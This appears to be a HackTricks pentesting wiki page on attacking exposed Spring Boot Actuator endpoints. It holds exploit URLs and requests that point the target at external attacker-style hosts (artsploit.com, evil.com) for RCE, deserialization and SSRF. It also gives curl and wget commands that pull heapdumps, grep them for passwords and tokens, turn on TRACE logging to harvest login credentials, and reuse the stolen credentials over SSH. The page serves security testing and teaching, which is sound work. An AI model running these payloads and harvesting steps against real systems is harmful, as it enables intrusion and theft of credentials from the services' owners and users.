hacktricks/src/network-services-pentesting/pentesting-web/spring-actuators.md

# Spring Actuators

{{#include ../../banners/hacktricks-training.md}}

## **Spring Auth Bypass**

<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>

**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)

## Exploiting Spring Boot Actuators

**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]

### **Key Points:**

- Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security.
- Certain Actuator endpoints can expose sensitive data or allow harmful actions:
  - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
- In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path.

### **Exploitation Techniques:**

1. **Remote Code Execution via '/jolokia'**:
   - The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
   - The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
   - Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:

   - If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties.
   - Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
   - Example exploit POST request:

     ```
     POST /env HTTP/1.1
     Host: 127.0.0.1:8090
     Content-Type: application/x-www-form-urlencoded
     Content-Length: 65

     eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
     ```

3. **Other Useful Settings**:
   - Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings.

### **Additional Information:**

- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.

### **Related Topics:**

1.  **Env + H2 RCE**:
    - Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).

2.  **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
   - The Spring framework's handling of matrix parameters (`;`) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
   - Example exploit request:

```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```






## HeapDump secrets mining (credentials, tokens, internal URLs)

If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).

- Download and quick triage:
  ```bash
  wget http://target/actuator/heapdump -O heapdump
  # Quick wins: look for HTTP auth and JDBC
  strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
  # Decode any Basic credentials you find
  printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  ```

- Deeper analysis with VisualVM and OQL:
  - Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets:
    ```
    select s.toString() 
    from java.lang.String s 
    where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
    ```

- Automated extraction with JDumpSpider:
  ```bash
  java -jar JDumpSpider-*.jar heapdump
  ```
  Typical high-value findings:
  - Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`.
  - `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`).
  - Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory.

Tips:
- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, and `/actuator/configprops` are also exposed.
- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly.


## Abusing Actuator loggers/logging to capture credentials

If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).

- Enumerate and crank up sensitive loggers:
  ```bash
  # List available loggers
  curl -s http://target/actuator/loggers | jq .

  # Enable very verbose logs for security/web stacks (adjust as needed)
  curl -s -X POST http://target/actuator/loggers/org.springframework.security \
       -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  curl -s -X POST http://target/actuator/loggers/org.springframework.web \
       -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
       -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  ```

- Find where logs are written and harvest:
  ```bash
  # If exposed, read from Actuator directly
  curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

  # Otherwise, query env/config to locate file path
  curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  ```

- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.

Notes:
- Reset log levels when done: `POST /actuator/loggers/<logger>` with `{ "configuredLevel": null }`.
- If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers.


## References

- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
- [VisualVM](https://visualvm.github.io/)
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)

{{#include ../../banners/hacktricks-training.md}}